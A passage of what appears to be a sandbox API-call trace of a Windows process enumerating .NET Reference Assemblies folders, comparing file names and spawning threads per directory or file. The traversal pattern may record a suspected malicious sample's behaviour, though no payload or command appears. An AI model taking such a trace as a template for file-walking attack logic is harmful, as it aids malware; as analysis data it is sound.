ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0127.314] wcscmp (_String1="System.IdentityModel.dll", _String2=".") returned 1 [0127.314] wcscmp (_String1="System.IdentityModel.dll", _String2="..") returned 1 [0127.314] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0127.314] wcscmp (_String1="System.IdentityModel.Selectors.dll", _String2=".") returned 1 [0127.315] wcscmp (_String1="System.IdentityModel.Selectors.dll", _String2="..") returned 1 [0127.315] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a94654c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1a94654c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x5c12c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0127.315] wcscmp (_String1="System.IO.Log.dll", _String2=".") returned 1 [0127.315] wcscmp (_String1="System.IO.Log.dll", _String2="..") returned 1 [0127.315] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab0aae57, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab0aae57, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab1db959, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0127.315] wcscmp (_String1="System.Printing.dll", _String2=".") returned 1 [0127.315] wcscmp (_String1="System.Printing.dll", _String2="..") returned 1 [0127.315] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45bd12a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb45bd12a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb45e328a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0127.315] wcscmp (_String1="System.Runtime.Serialization.dll", _String2=".") returned 1 [0127.315] wcscmp (_String1="System.Runtime.Serialization.dll", _String2="..") returned 1 [0127.315] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4524ba9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4524ba9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4596fca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0127.315] wcscmp (_String1="System.ServiceModel.dll", _String2=".") returned 1 [0127.315] wcscmp (_String1="System.ServiceModel.dll", _String2="..") returned 1 [0127.315] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1158c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x6f1158c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ac6bc9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0127.315] wcscmp (_String1="System.Speech.dll", _String2=".") returned 1 [0127.315] wcscmp (_String1="System.Speech.dll", _String2="..") returned 1 [0127.315] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44b2788, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44b2788, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x117000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0127.315] wcscmp (_String1="System.Workflow.Activities.dll", _String2=".") returned 1 [0127.315] wcscmp (_String1="System.Workflow.Activities.dll", _String2="..") returned 1 [0127.315] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44664c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44664c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44b2788, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0127.315] wcscmp (_String1="System.Workflow.ComponentModel.dll", _String2=".") returned 1 [0127.315] wcscmp (_String1="System.Workflow.ComponentModel.dll", _String2="..") returned 1 [0127.315] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x84000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0127.315] wcscmp (_String1="System.Workflow.Runtime.dll", _String2=".") returned 1 [0127.315] wcscmp (_String1="System.Workflow.Runtime.dll", _String2="..") returned 1 [0127.315] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7231257, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7231257, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ae0ebbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0127.315] wcscmp (_String1="UIAutomationClient.dll", _String2=".") returned 1 [0127.315] wcscmp (_String1="UIAutomationClient.dll", _String2="..") returned 1 [0127.315] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752adc3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x752adc3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b23923c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0127.315] wcscmp (_String1="UIAutomationClientsideProviders.dll", _String2=".") returned 1 [0127.315] wcscmp (_String1="UIAutomationClientsideProviders.dll", _String2="..") returned 1 [0127.315] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778c3b3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x778c3b3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b532dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0127.316] wcscmp (_String1="UIAutomationProvider.dll", _String2=".") returned 1 [0127.316] wcscmp (_String1="UIAutomationProvider.dll", _String2="..") returned 1 [0127.316] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a39c61, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7a39c61, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b5a51dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0127.316] wcscmp (_String1="UIAutomationTypes.dll", _String2=".") returned 1 [0127.316] wcscmp (_String1="UIAutomationTypes.dll", _String2="..") returned 1 [0127.316] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa262a3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa262a3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa49dee1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x132000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0127.316] wcscmp (_String1="WindowsBase.dll", _String2=".") returned 1 [0127.316] wcscmp (_String1="WindowsBase.dll", _String2="..") returned 1 [0127.316] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c58b5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x80c58b5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b91117c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0127.316] wcscmp (_String1="WindowsFormsIntegration.dll", _String2=".") returned 1 [0127.316] wcscmp (_String1="WindowsFormsIntegration.dll", _String2="..") returned 1 [0127.316] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1 [0127.316] wcscmp (_String1="WinFXList.xml", _String2=".") returned 1 [0127.316] wcscmp (_String1="WinFXList.xml", _String2="..") returned 1 [0127.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b861960 [0127.316] wcscpy (in: _Dest=0x1b861960, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0127.316] wcscat (in: _Dest=0x1b861960, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0127.316] wcscat (in: _Dest=0x1b861960, _Source="WinFXList.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" [0127.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b861960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0127.330] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0 [0127.330] FindClose (in: hFindFile=0x1cd9e030 | out: hFindFile=0x1cd9e030) returned 1 [0127.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027cce0) returned 1 [0127.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad980) returned 1 [0127.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ade80) returned 1 Thread: id = 1218 os_tid = 0xc10 [0114.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ad020 [0114.882] wcscpy (in: _Dest=0x1b7ad020, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0114.882] wcscat (in: _Dest=0x1b7ad020, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\" [0114.883] wcscat (in: _Dest=0x1b7ad020, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*" [0114.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027cf50 [0114.883] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9deb0 [0114.885] wcscmp (_String1=".", _String2=".") returned 0 [0114.885] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.886] wcscmp (_String1="..", _String2=".") returned 1 [0114.886] wcscmp (_String1="..", _String2="..") returned 0 [0114.886] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565d698d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x565d698d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754f141c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0114.886] wcscmp (_String1="Microsoft.Build.Conversion.v3.5.dll", _String2=".") returned 1 [0114.886] wcscmp (_String1="Microsoft.Build.Conversion.v3.5.dll", _String2="..") returned 1 [0114.886] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6605bc5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6605bc5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0114.886] wcscmp (_String1="Microsoft.Build.Engine.dll", _String2=".") returned 1 [0114.886] wcscmp (_String1="Microsoft.Build.Engine.dll", _String2="..") returned 1 [0114.886] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d930d9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56d930d9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x777e773c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0114.886] wcscmp (_String1="Microsoft.Build.Framework.dll", _String2=".") returned 1 [0114.887] wcscmp (_String1="Microsoft.Build.Framework.dll", _String2="..") returned 1 [0114.887] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0114.887] wcscmp (_String1="Microsoft.Build.Utilities.v3.5.dll", _String2=".") returned 1 [0114.887] wcscmp (_String1="Microsoft.Build.Utilities.v3.5.dll", _String2="..") returned 1 [0114.887] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e9da72, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56e9da72, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77d8eb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0114.887] wcscmp (_String1="Microsoft.VisualC.STLCLR.dll", _String2=".") returned 1 [0114.887] wcscmp (_String1="Microsoft.VisualC.STLCLR.dll", _String2="..") returned 1 [0114.887] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0114.887] wcscmp (_String1="RedistList", _String2=".") returned 1 [0114.887] wcscmp (_String1="RedistList", _String2="..") returned 1 [0114.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b861ee0 [0114.887] wcscpy (in: _Dest=0x1b861ee0, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0114.887] wcscat (in: _Dest=0x1b861ee0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\" [0114.887] wcscat (in: _Dest=0x1b861ee0, _Source="RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0126.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b861ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc4 [0126.532] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0126.532] wcscmp (_String1="SubsetList", _String2=".") returned 1 [0126.532] wcscmp (_String1="SubsetList", _String2="..") returned 1 [0126.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x202ace70 [0126.532] wcscpy (in: _Dest=0x202ace70, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0126.532] wcscat (in: _Dest=0x202ace70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\" [0126.532] wcscat (in: _Dest=0x202ace70, _Source="SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" [0126.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202ace70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe0 [0126.572] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0126.572] wcscmp (_String1="System.AddIn.Contract.dll", _String2=".") returned 1 [0126.572] wcscmp (_String1="System.AddIn.Contract.dll", _String2="..") returned 1 [0126.572] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65474e4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65474e4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0126.572] wcscmp (_String1="System.AddIn.dll", _String2=".") returned 1 [0126.572] wcscmp (_String1="System.AddIn.dll", _String2="..") returned 1 [0126.572] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0126.572] wcscmp (_String1="System.ComponentModel.DataAnnotations.dll", _String2=".") returned 1 [0126.572] wcscmp (_String1="System.ComponentModel.DataAnnotations.dll", _String2="..") returned 1 [0126.572] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6651e86, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0126.572] wcscmp (_String1="System.Core.dll", _String2=".") returned 1 [0126.572] wcscmp (_String1="System.Core.dll", _String2="..") returned 1 [0126.572] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, 